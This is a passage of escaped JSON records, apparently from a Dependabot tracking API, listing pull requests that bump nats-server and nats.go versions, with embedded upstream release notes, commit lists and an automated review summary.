view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\u003c!-- CURSOR_SUMMARY --\u003e\n---\n\n\u003e [!NOTE]\n\u003e **High Risk**\n\u003e Pulls in nats-server 2.11.15 with numerous CVE fixes and behavioral changes to auth, JetStream, MQTT, leafnodes, and WebSockets—high impact for a NATS management app even though only vendored code changed.\n\u003e \n\u003e **Overview**\n\u003e This PR **bumps the embedded NATS stack** used by the project: **`github.com/nats-io/nats-server/v2`** from **2.11.4 → 2.11.15** and **`github.com/nats-io/nats.go`** from **1.42.0 → 1.49.0**, with matching **`go.sum`** and **vendor** updates. Indirect bumps include **`antithesis-sdk-go`** (0.5.0 → **0.6.0-default-no-op**), **`klauspost/compress`**, **`minio/highwayhash`**, **`google/go-tpm`**, and **`golang.org/x/time`**.\n\u003e \n\u003e There are **no first-party application code changes** in this diff—only dependency pins and vendored upstream sources. The imported **nats-server 2.11.15** release carries **multiple security fixes** (per release notes: MQTT, leafnodes/service imports, WebSockets, JetStream, mTLS, credential handling, and publish-permission enforcement) plus assorted server behavior improvements (config env-var cycle detection, auth/tracing permission checks, write-timeout policies, JetStream consumer fixes, etc.) that will apply whenever this repo’s NATS server code path runs on the new version.\n\u003e \n\u003e **Operational note:** After merge, rebuild/redeploy so runtime uses the updated vendored server; regression-test JWT/account management, JetStream, and any MQTT-related user flows if you rely on them.\n\u003e \n\u003e \u003csup\u003eReviewed by [Cursor Bugbot](https://cursor.com/bugbot) for commit 3d83d107c3c76e6c2262c558641b811fbc26bd2b. Bugbot is set up for automated code reviews on this repo. Configure [here](https://www.cursor.com/dashboard/bugbot).\u003c/sup\u003e\n\u003c!-- /CURSOR_SUMMARY --\u003e","html_url":"https://github.com/nats-tower/nats-tower/pull/234","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/nats-tower%2Fnats-tower/issues/234","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/234/packages"}},{"old_version":"2.14.1","new_version":"2.14.2","update_type":"patch","path":null,"pr_created_at":"2026-06-09T20:53:37.000Z","version_change":"2.14.1 → 2.14.2","issue":{"uuid":"4625523390","node_id":"PR_kwDOSCuTDc7kjo3F","number":89,"state":"open","title":"chore(deps): Bump github.com/nats-io/nats-server/v2 from 2.14.1 to 2.14.2","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-09T20:53:37.000Z","updated_at":"2026-06-13T02:09:44.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.14.1","new_version":"2.14.2","repository_url":"https://github.com/nats-io/nats-server"}],"path":null,"ecosystem":"go"},"body":"Bumps [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) from 2.14.1 to 2.14.2.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.2\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.52.0\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.45.0\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.2\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/nkeys v0.4.16\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe client ID is now available through the embedded \u003ccode\u003eClientAuthentication\u003c/code\u003e API (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8217\"\u003e#8217\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA race condition when handling subscription interest over routes has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8235\"\u003e#8235\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from rewriting \u003ccode\u003e$JS.ACK\u003c/code\u003e subjects has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8242\"\u003e#8242\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePotential protocol-level corruption from buffer misuse in compressed WebSocket clients has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8244\"\u003e#8244\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e/accstatz\u003c/code\u003e monitoring endpoint no longer omits accounts with only leaf connections (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8252\"\u003e#8252\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a case where Raft peers were not correctly tracked after an inactivity stall during catchup (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8226\"\u003e#8226\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eQuorum needed is now calculated correctly when bootstrapping the metalayer when gateway URLs resolve to multiple IP addresses (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8238\"\u003e#8238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe filestore no longer performs a block skip check on streams with extremely high subject counts, as it could result in runaway CPU usage (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8227\"\u003e#8227\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the filestore would not release a lock after handling a write error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8232\"\u003e#8232\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePurge operations on both file and memory stores are now more consistent with each other (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8241\"\u003e#8241\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a case where the consumer lock would not release a lock after handling a start sequence error (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8230\"\u003e#8230\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCounter streams and message schedules now have configuration constraints applied to prevent incorrect usage patterns (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8240\"\u003e#8240\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved stream and consumer scale down behaviour consistency (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8253\"\u003e#8253\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where the per-subject state last block was not stored correctly with a max messages per subject limit of 1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8254\"\u003e#8254\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a drift that could occur in the peer sets after a peer remove of an online node (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8258\"\u003e#8258\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\"\u003ehttps://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v2.14.2-RC.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/1d065926bb99ed14ebe9cf6a21529d28310fc8d3\"\u003e\u003ccode\u003e1d06592\u003c/code\u003e\u003c/a\u003e Release v2.14.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/4e1aefa11412f699f6e31549ea215389824d4c07\"\u003e\u003ccode\u003e4e1aefa\u003c/code\u003e\u003c/a\u003e Cherry-picks for v2.14.2 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8256\"\u003e#8256\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/ac092ff7c60aa4a0fa3f466198aa89d58bd15f47\"\u003e\u003ccode\u003eac092ff\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/01e589d49a512276adfa9f60699560c5be63bfd5\"\u003e\u003ccode\u003e01e589d\u003c/code\u003e\u003c/a\u003e [FIXED] Peer set desync/re-add after stream peer-remove\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3d122e82432917c2e4395523a33e929cc71ec5ca\"\u003e\u003ccode\u003e3d122e8\u003c/code\u003e\u003c/a\u003e De-flake TestJetStreamConsumerPrioritized\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3836d96692a7b9d1405ea404161e6a7f48ba3115\"\u003e\u003ccode\u003e3836d96\u003c/code\u003e\u003c/a\u003e [FIXED] Initial MaxMsgsPerSubject update not enforced\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/92cf2e314fe7ef38f3ac6223f874efa0f58819e0\"\u003e\u003ccode\u003e92cf2e3\u003c/code\u003e\u003c/a\u003e [FIXED] Filestore only stores last block when MaxMsgsPerSubject 1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/3288b4fe279b6f689dc985758add443acb9095db\"\u003e\u003ccode\u003e3288b4f\u003c/code\u003e\u003c/a\u003e (2.14) [IMPROVED] Remove redundant error check in filestore\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/6ea46d54029a662ae3545da70b01c32976f6cdbc\"\u003e\u003ccode\u003e6ea46d5\u003c/code\u003e\u003c/a\u003e [FIXED] Stream and consumer scale down consistency\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/5edd91c01a32945e1a4837a104c59114972c9bfb\"\u003e\u003ccode\u003e5edd91c\u003c/code\u003e\u003c/a\u003e [FIXED] AccountStatz omits accounts with only leaf connections\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.14.1...v2.14.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/complytime-labs/complytime-core/pull/89","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/complytime-labs%2Fcomplytime-core/issues/89","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/89/packages"}},{"old_version":"2.8.4","new_version":"2.14.1","update_type":"minor","path":null,"pr_created_at":"2026-05-21T22:02:36.000Z","version_change":"2.8.4 → 2.14.1","issue":{"uuid":"4498201811","node_id":"PR_kwDOQmje3s7eHvo5","number":9,"state":"closed","title":"Bump the go-dependencies group across 1 directory with 3 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-21T22:44:11.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-21T22:02:36.000Z","updated_at":"2026-05-21T22:44:13.000Z","time_to_close":2495,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"go-dependencies","update_count":3,"packages":[{"name":"github.com/nats-io/nats-server/v2","old_version":"2.8.4","new_version":"2.14.1","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.37.0","new_version":"1.51.0"},{"name":"go.uber.org/zap","old_version":"1.27.1","new_version":"1.28.0","repository_url":"https://github.com/uber-go/zap"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-dependencies group with 2 updates in the / directory: [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) and [go.uber.org/zap](https://github.com/uber-go/zap).\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.8.4 to 2.14.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.14.1\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_214\"\u003e2.14 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.12.x. Please note that the 2.13.x version was skipped.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.26.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8107\"\u003e#8107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/klauspost/compress v1.18.6 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/crypto v0.51.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.44.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8124\"\u003e#8124\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNew metrics \u003ccode\u003ein_client_msgs\u003c/code\u003e, \u003ccode\u003ein_client_bytes\u003c/code\u003e, \u003ccode\u003eout_client_msgs\u003c/code\u003e and \u003ccode\u003eout_client_bytes\u003c/code\u003e are now available via the \u003ccode\u003e/varz\u003c/code\u003e monitoring endpoint for tracking data to/from normal clients only (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7851\"\u003e#7851\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eClient TLS certificates without subject DNs but with DNS subject alternate names are now permitted (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8100\"\u003e#8100\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe log level of TLS handshake timeout or non-TLS record errors have been demoted to debug level to reduce noise (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8096\"\u003e#8096\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNum pending is now only calculated on consumer leaders, avoiding unnecessary CPU usage on followers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8172\"\u003e#8172\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSnapshot and catchup loops no longer leak timers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8186\"\u003e#8186\u003c/a\u003e, thanks to \u003ca href=\"https://github.com/SebTardif\"\u003e\u003ccode\u003e@​SebTardif\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream and consumer assignment errors are now surfaced (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8208\"\u003e#8208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntersection of sublists and subject trees can now be cancelled early, avoiding high CPU usage in some pathological cases (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8209\"\u003e#8209\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCluster route compression now obeys the cluster \u003ccode\u003emax_pings_out\u003c/code\u003e option if configured (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8093\"\u003e#8093\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe internal send loop no longer mutates caller headers, which could corrupt buffers (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8097\"\u003e#8097\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving headers no longer fails to remove later headers if the matching prefix also appeared in an earlier header value (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8103\"\u003e#8103\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe sublist now correctly maintains negative results in the cache when calculating number of interested subjects (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8119\"\u003e#8119\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eServer shutdown requests are now idempotent, preventing concurrency issues when shutting down in embedded contexts (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8163\"\u003e#8163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTLS listeners now work correctly with the PROXY protocol where enabled (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8130\"\u003e#8130\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReduced lock contention that could be created between leafnodes and clients (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8139\"\u003e#8139\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8159\"\u003e#8159\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a panic that could happen when an error occurs when walking JWT directory resolver folders (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8173\"\u003e#8173\u003c/a\u003e, thanks to \u003ca href=\"https://github.com/SebTardif\"\u003e\u003ccode\u003e@​SebTardif\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIn-process connections will no longer unexpectedly revert to TLS required with async \u003ccode\u003eINFO\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8205\"\u003e#8205\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/cb557cd5d3ee8b4a253071d9923730d7d5588f99\"\u003e\u003ccode\u003ecb557cd\u003c/code\u003e\u003c/a\u003e Release v2.14.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9182ee9ea4c0da9ea664270e323aa89a28b0b074\"\u003e\u003ccode\u003e9182ee9\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.14.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8219\"\u003e#8219\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/128e85517ec926a8617bee2d0fa28a249f01bf7b\"\u003e\u003ccode\u003e128e855\u003c/code\u003e\u003c/a\u003e Add a benchmark for WriteTermVote\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/6bb9af2e8346c6350a3c54cf35d356d1146698a8\"\u003e\u003ccode\u003e6bb9af2\u003c/code\u003e\u003c/a\u003e Allow cancellation of \u003ccode\u003eIntersectGSL\u003c/code\u003e, optimise skip block check\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/899bf88bf18c173b1a6d9d92a50e44c655051b70\"\u003e\u003ccode\u003e899bf88\u003c/code\u003e\u003c/a\u003e [IMPROVED] Clear stale sa/ca.err after success\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a1e81c058ed19c798ea4042101b842cd143320af\"\u003e\u003ccode\u003ea1e81c0\u003c/code\u003e\u003c/a\u003e [IMPROVED] Surface assignment errors in stream/consumer log messages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/2477ebcc81aca8060f41a1fbd31fdfe740907532\"\u003e\u003ccode\u003e2477ebc\u003c/code\u003e\u003c/a\u003e [IMPROVED] Surface assignment errors in stream/consumer health checks\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b7d533e99d9b85b00e2103568681ad4c05f96c9c\"\u003e\u003ccode\u003eb7d533e\u003c/code\u003e\u003c/a\u003e [IMPROVED] Consumer's deleteNotActive compares against object-local assignment\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e667787bd644ac3716e1bd39ab804e35736011d5\"\u003e\u003ccode\u003ee667787\u003c/code\u003e\u003c/a\u003e [FIXED] Async INFO flipped tls_required for in-process clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f56faad88c7147244b030390a90a03202c4c1d86\"\u003e\u003ccode\u003ef56faad\u003c/code\u003e\u003c/a\u003e Release v2.14.1-RC.2\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.8.4...v2.14.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.37.0 to 1.51.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.51.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eADDED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eOption to customize write buffer size (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2057\"\u003e#2057\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to automatically reconnect on write error (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2055\"\u003e#2055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAccessors for JetStream API level and \u003ccode\u003eIsSysAccount\u003c/code\u003e from \u003ccode\u003eServerInfo\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2060\"\u003e#2060\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eMake websocket frame validation more robust (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2050\"\u003e#2050\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eFix deadlock in \u003ccode\u003eConsume()\u003c/code\u003e when calling \u003ccode\u003eStop\u003c/code\u003e/\u003ccode\u003eDrain\u003c/code\u003e from \u003ccode\u003eConsumeErrHandler\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2059\"\u003e#2059\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix typos in tests. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2049\"\u003e#2049\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecation warnings by bumping GH actions to their latest versions. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contibution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2048\"\u003e#2048\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCode linting: remove functions min and max. Thanks \u003ca href=\"https://github.com/deining\"\u003e\u003ccode\u003e@​deining\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2047\"\u003e#2047\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.50.0...v1.51.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease v1.50.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eRemove status listener in Consume()/Messages() cleanup. Thanks \u003ca href=\"https://github.com/txuna\"\u003e\u003ccode\u003e@​txuna\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/1993\"\u003e#1993\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix race condition in \u003ccode\u003eorderedSubscription.Drain()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eOrderedConsumer.Consume()\u003c/code\u003e race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eDe-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2042\"\u003e#2042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrap EOF/connection reset errors with TLS context after handshake (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2031\"\u003e#2031\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eReject control characters in stream and consumer names (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2038\"\u003e#2038\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing \u003ccode\u003eAccountLimits\u003c/code\u003e fields in \u003ccode\u003ejetstream\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eKeyValue:\n\u003cul\u003e\n\u003cli\u003eDeduplicate keys in KeyValue.Keys() and document ListKeys behavior (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2029\"\u003e#2029\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca 